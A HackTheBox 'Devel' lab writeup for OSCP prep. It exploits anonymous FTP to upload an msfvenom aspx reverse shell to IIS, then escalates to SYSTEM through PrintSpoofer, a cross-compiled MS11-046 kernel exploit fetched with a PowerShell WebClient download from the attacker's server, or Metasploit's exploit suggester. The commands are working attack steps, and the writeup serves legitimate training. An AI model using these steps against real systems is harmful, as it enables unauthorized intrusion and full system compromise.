> For the complete documentation index, see [llms.txt](https://securityshark.gitbook.io/oscp-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securityshark.gitbook.io/oscp-prep/writeups/hackthebox/windows/devel.md). # Devel one line summary without msf :-: ftp(anonymous login) -->put aspx rev shell-->execute from IIS -->gain access-->whoami /priv --> SETokenimpersonate --> printspoof exploit --> rooted 1line summary \[with msf] :-: ftp(anonymous login) -->put aspx meterpreter rev shell-->execute from IIS -->gain access(meterpreter)-->msf local exploit suggestor-->try available exploits -->rooted ## Port Scanning I have a habit of running scans in phases and them in sequences like scan1 scan2. First Scan I ran was a full port scan; saved as file named scan1 **`nmap -p- -n -vvv -oN nmap/scan1 10.10.10.5`** Second scan i ran for specific ports; saved as file named scan2 **`sudo nmap -p80,21 -sCV -oN nmap/scan2 10.10.10.5`** ![Port Scanning using Nmap ](https://2720780554-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MbCyMH206OE7PUILt0h%2F-MdSQSYcqb9wqXPTC1S8%2F-MdSQey0k1sK2aEfrOHJ%2Fimage.png?alt=media\&token=15a9df98-1a21-4fda-bcc4-931974889d4f) Port 80 IIS running Port 21 ftp is running ftp $ip Succesfully logged in with anonymous login. upload a file to ftp access it through browser to confirm #### ftp access is in the same as web home dir . google search more about iis versions iis version 7.5 -- 2008 R2 Little bit about asp vs aspx asp are vb script based aspx are .net based if the IIS was of 2003 or before I would have used asp based payload because it's old and only supports asp vb scripts whereas IIS 2008 is relatively recent and is .net based. So I'll go with aspx ## Gaining Access #### Create payload msfvenom -p windows/shell\_reverse\_tcp LHOST=youriphere LPORT=4444 -f aspx -o rks.aspx Login to ftp and upload the payload using put command put secShark.aspx execute the shell from bowser get a shell back nc -nvlp 1669 ## Windows Priv Esc (without MSF) Method1 \[SeTokenImpersonate] whoami /priv you can see the SeTokenImpersonate is Enabled read more about this vuln. here ::- I will use printspoofer to exploit this vuln and escalate my priv to NTAuthority\System ## Windows Priv Esc (without MSF) Method 2 \[Kernel Exploit] whoami iss apppool\web systeminfo gives you windows system related info for priv esc and local enum info to look for ?? hotfixs architecture and os version searchsploit -u // to update the searchsploit database google windows 7 7600 32 bit arch or windows 7 x86 exploit found:: ms11-046 for Priv Esc I copied the edb id and searched in searchsploit searchsploit -m 40564 #### Cross Compiling Exploit If you don’t have mingw-w64 installed, install it. apt-get install mingw-w64 to compile the exploit use below menitoned command i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2\_32 #### File Sharing Kali to Windows using Powershell \ on attacker machine start a http server \ python -m SimpleHTTPServer 80\ \ Download exe using powershell powershell -c "(new-object System.Net.WebClient).DownloadFile('[http://10.10.14.30:80/40564.exe'](http://10.10.14.30:9005/40564.exe'), 'c:\Users\Public\Downloads\40564.exe')" run the exploit \ 40564.exe Check user \ whoami\ nt auth \system rooted ## Windows Priv Esc (with MSF) Generate meterpreter payload msfvenom -p windows/meterpreter/reverse\_tcp LHOST=youriphere LPORT=yourlisteningport -f aspx -o rks.aspx I am being carefull with the payload selection as 64 bit payload is not going to work if the target is 32 bit 32 bit is the safest one to choose initially as 32 bit is going to work on 64 bit machine as well. #### Setup listener for meterpreter msfconsole use exploit/multi/handler show options set payload windows/meterpreter/reverse\_tcp set lhost tun0 set lport run execute the shell from bowser and get a shell back sysinfo check if the architecture matches with the payload you used -- if not change your payload to target arch. and redo the above steps. ctrl Z to background the session search suggest looking for local exploit suggestor use post/multi/recon/exploit\_suggestor session -l set session 1 it is going to check for bunch of potential exploits available for this machine and provide you with the list select one out of them and load it . use exploit/.... show options set session 1 set lhost tun0 run